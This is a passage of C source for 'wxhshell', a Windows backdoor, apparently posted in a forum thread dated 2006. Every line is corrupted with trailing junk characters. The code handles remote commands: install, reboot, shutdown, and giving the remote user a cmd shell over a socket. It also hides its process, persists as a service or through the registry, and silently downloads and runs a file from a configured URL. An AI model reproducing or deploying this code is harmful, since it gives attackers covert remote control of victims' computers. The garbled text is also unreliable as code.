4Y?2u  
    switch(cmd[0]) { nrKAK^  
  Hi={(Z5tC4  
  // 帮助 YCiG~y/~  
  case '?': { g7]S  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g ZtQtFi  
    break; UxNn5(:sM@  
  } 8%CznAO"?W  
  // 安装 Ag9GYm  
  case 'i': { AVQcD`V3B  
    if(Install()) k_]'?f7Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?h4[yp=w  
    else s 1M-(d Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "qq$i35x  
    break; h@R n)D  
    } gGvL6Fu  
  // 卸载 Y9X,2L7V  
  case 'r': { P1[.[q/-e  
    if(Uninstall()) A^,u l>!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f?. VVlD  
    else Wd7*7']  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z0Sqw  
    break; ks. p)F>]  
    } !QwB8yK@  
  // 显示 wxhshell 所在路径 <~uzHg%Y  
  case 'p': { >bV3~m$a+  
    char svExeFile[MAX_PATH]; 0x~+=GUN  
    strcpy(svExeFile,"\n\r"); (9]1p;  
      strcat(svExeFile,ExeFile); mh"PAp  
        send(wsh,svExeFile,strlen(svExeFile),0); VgXT4gO!  
    break; T%%EWa<a  
    } =Ya^PAj '}  
  // 重启 x} =,'Ko}3  
  case 'b': { uq]=L  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7fypUQ:y  
    if(Boot(REBOOT)) #@ HlnF}T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O<p=&=TD7  
    else { (enr{1  
    closesocket(wsh); OiA uL:D  
    ExitThread(0); ef*Z;HI0  
    } spP[S"gI  
    break; -sv%A7i  
    } ;Lfn&2G  
  // 关机 b&yuy  
  case 'd': { ILDO/>n  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); cu1!WD  
    if(Boot(SHUTDOWN)) K@n-#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VOj7Tz9UD  
    else { Zq33R`  
    closesocket(wsh); S}Wj.l+F  
    ExitThread(0); ih)\P0wed  
    } $'CS/U`E}  
    break; N}/V2K]Q  
    } 1:<n(?5JI  
  // 获取shell =k d-rIBc  
  case 's': { XPrnQJ  
    CmdShell(wsh); , SUx!o  
    closesocket(wsh); Fp?M@  
    ExitThread(0); U= GJuixy  
    break; 3-{WFnA  
  } e%:vLE 9  
  // 退出 ?r|iZKa  
  case 'x': { T] H 'l  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Zt41fPQ  
    CloseIt(wsh); IIMf\JdM  
    break; B7qi|Fw  
    } N4qBCBr(  
  // 离开 rg[#(  
  case 'q': { ,]JIp~=nsh  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]Rf$&7`g{  
    closesocket(wsh); LsGO~EiJ  
    WSACleanup(); (5`(H.(  
    exit(1); TPx0LDk%(  
    break; jp_)NC/~g  
        } -h|[8UG^b  
  } i0\]^F  
  } d$\n@}8eZp  
\COoU("  
  // 提示信息 (oCpQDab@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #Q_Scxf  
} Q+a&a]*KL^  
  } ' "%hX&]5  
D)4#AI  
  return; &)q>Z!C-l  
} KX\=wFbP)  
!RLXB$@`  
// shell模块句柄 DV?c%z`YO  
int CmdShell(SOCKET sock) StNA(+rT  
{ yN[i6oe  
STARTUPINFO si; 6e,IjocsB  
ZeroMemory(&si,sizeof(si)); :`BG/  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; HYdt3GtJ?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ou)0tX3j  
PROCESS_INFORMATION ProcessInfo; :Eg4^,QX  
char cmdline[]="cmd"; &-IkM%_A9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;\13x][  
  return 0; R-iWbLD  
} OWr\$lm@z$  
B&!>& Rbx  
// 自身启动模式 >;M STHeW  
int StartFromService(void) ;l `(1Q/  
{ jX$U)O  
typedef struct k^q~ 2  
{ yJ; ;&  
  DWORD ExitStatus; ^5!"[RB\  
  DWORD PebBaseAddress; HN;f~EQT  
  DWORD AffinityMask; +*qTZIXj  
  DWORD BasePriority; e9k$5ps  
  ULONG UniqueProcessId; 04X/(74  
  ULONG InheritedFromUniqueProcessId; ?$\sMkn  
}   PROCESS_BASIC_INFORMATION; M@. 2b.  
|ns9ziTDI  
PROCNTQSIP NtQueryInformationProcess; 0x,4H30t(  
1X&scVw  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; R6o07.]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; KAT^vbR  
,0,& L  
  HANDLE             hProcess; ,/p .!+  
  PROCESS_BASIC_INFORMATION pbi; ^!(tc=sr  
8Sf}z@~]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); M~saYJio  
  if(NULL == hInst ) return 0; (H|^Ow5  
gHvkr?Cg  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]>(pQD  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 51s3hX$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); EF6"PH+J@  
RDqQ6(e"  
  if (!NtQueryInformationProcess) return 0; :?3y)*J!  
]4_)WUS.c  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); i[e-dT:*R  
  if(!hProcess) return 0; F B&l|#e  
b~rlh=(o#_  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; g3'yqIjQL  
!V0)eC50  
  CloseHandle(hProcess); v`"BXSmp{  
.uo:fxbd2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); G'_5UP!  
if(hProcess==NULL) return 0; x@VZJrQQ  
1 u~.^O}J  
HMODULE hMod; sGbk4g  
char procName[255]; +oa>k 0  
unsigned long cbNeeded; HO8x:2m  
R8u9tTW  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); rEs Gf+4  
ozG!OiRW  
  CloseHandle(hProcess); lz0'E'%{P  
hL/  
if(strstr(procName,"services")) return 1; // 以服务启动 {F$MZ2E  
v<S?"# ]F=  
  return 0; // 注册表启动 F!6;< !&h  
} ^: V6=  
}mQh^  
// 主模块 l`<u\],  
int StartWxhshell(LPSTR lpCmdLine) /{\mV(F(  
{ n@| &jh  
  SOCKET wsl; 7`t[|o  
BOOL val=TRUE; h<f]hJ`ep  
  int port=0; = M/($PA  
  struct sockaddr_in door; R`emI7|  
\_zp4Xb2  
  if(wscfg.ws_autoins) Install(); ,W&::/2<7  
"+ 8Y{T  
port=atoi(lpCmdLine); dI9u: -  
w}QU;rl8q  
if(port<=0) port=wscfg.ws_port; gJI(d6  
d"4J)+q  
  WSADATA data; ]$a,/Jt  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 73d7'Fw  
w 7 j hS  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >c 5V VA8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1Igo9rv  
  door.sin_family = AF_INET; 92K#xM/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); sa>}wz<o  
  door.sin_port = htons(port); +zLh<q0  
f^[:w1X$sM  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Hb{G RG70  
closesocket(wsl); T*sB Wn'am  
return 1; J$Nc9 ?|ZZ  
} LZG ~1tf  
vT>ki0P_;  
  if(listen(wsl,2) == INVALID_SOCKET) { ^qlfdf  
closesocket(wsl); %?[H=v(b  
return 1; h,C?%H+/0Q  
} Q:~>$5Em5  
  Wxhshell(wsl); atO/Tp  
  WSACleanup(); XN1\!CM8  
92HxZ*t7km  
return 0; nXuoRZ  
=W~K_jE5lo  
} .U:DuyT  
*q.qO )X}3  
// 以NT服务方式启动 ]B"YW_.x2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) zg=F;^oZ<  
{ X3j<HQcK  
DWORD   status = 0; \f7A j>  
  DWORD   specificError = 0xfffffff; f}1R,N_fC  
p;VHg  
  serviceStatus.dwServiceType     = SERVICE_WIN32; AK*F,H9  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; S4?N_"m9  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ch%-Cg~%  
  serviceStatus.dwWin32ExitCode     = 0; 9"YOj_z  
  serviceStatus.dwServiceSpecificExitCode = 0; eQUm!9)  
  serviceStatus.dwCheckPoint       = 0; K;wd2/jmJ  
  serviceStatus.dwWaitHint       = 0; =fZ)2q  
<"" fJ`7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); M)oy3y^&  
  if (hServiceStatusHandle==0) return; {)QSxO  
$0MP*TFWa  
status = GetLastError(); /Af:{|'$%  
  if (status!=NO_ERROR)  {u}Lhv  
{ *y;(c)_w/%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; J\@yP  
    serviceStatus.dwCheckPoint       = 0; 3 UBg"1IC  
    serviceStatus.dwWaitHint       = 0;  OBY  
    serviceStatus.dwWin32ExitCode     = status; >e7w!v]  
    serviceStatus.dwServiceSpecificExitCode = specificError; JPX5Jm()  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %y/8i%@6  
    return; wY`yP!xO  
  } JZ5N Q)sX  
dX0"h5v1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8yH*  
  serviceStatus.dwCheckPoint       = 0; 8tM40/U$  
  serviceStatus.dwWaitHint       = 0; 72gQ<Si  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ",\,lqV  
} fBptjt_  
XujVOf  
// 处理NT服务事件,比如:启动、停止 z#8d\X/  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <MlRy%3Z  
{ "YUyM5X  
switch(fdwControl) s.E}xv  
{ Khbkv  
case SERVICE_CONTROL_STOP: =U6%Wdth  
  serviceStatus.dwWin32ExitCode = 0; n_Ht{2I  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; r?s,  
  serviceStatus.dwCheckPoint   = 0; I$o^F/RH  
  serviceStatus.dwWaitHint     = 0; Xi]WDH \  
  { :RsO $@0G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); QeYO)sc`  
  } p:9)}y  
  return; Cz2OGM*mz?  
case SERVICE_CONTROL_PAUSE: ^<8 c`k )e  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [/}y!;3iXM  
  break; Md9b_&'  
case SERVICE_CONTROL_CONTINUE: OIK14D:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >9o(84AxIH  
  break; }*{@-v|_R  
case SERVICE_CONTROL_INTERROGATE: }U=|{@%  
  break; fI2/v<[  
}; $'I+] ;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =#@eDm%  
} =(f+geA"hm  
[b: $sR;  
// 标准应用程序主函数 _`>F>aP  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) WKf->W  
{ o0Z(BTO  
biCX: m+_?  
// 获取操作系统版本 PQ`p:=~>:i  
OsIsNt=GetOsVer(); &+?JY|u  
GetModuleFileName(NULL,ExeFile,MAX_PATH); gO*:< B g  
CKShz]1  
  // 从命令行安装 ,?"cKdiZ  
  if(strpbrk(lpCmdLine,"iI")) Install(); D-7PO3F:F  
(3YI>/#  
  // 下载执行文件 V6.xp{[  
if(wscfg.ws_downexe) { _pSCv:3T  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) M+<xX)   
  WinExec(wscfg.ws_filenam,SW_HIDE); gU7@}P  
} ?)$+W+vK  
,EyZ2`|  
if(!OsIsNt) { \Kph?l9Ww  
// 如果时win9x,隐藏进程并且设置为注册表启动 SF.4["$  
HideProc(); 2IgTB|2  
StartWxhshell(lpCmdLine); ecK{+Z'G  
} 0f.rjd  
else MTZbRi6z  
  if(StartFromService()) Tu Q@b  
  // 以服务方式启动 ,wJ#0?  
  StartServiceCtrlDispatcher(DispatchTable); 8r^~`rL  
else *Mf;  
  // 普通方式启动 }]1=?:tX%  
  StartWxhshell(lpCmdLine); Cx$M  
49%qBO$R  
return 0; ]I9Hbw  
}
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只看该作者 1 发表于: 2006-10-10
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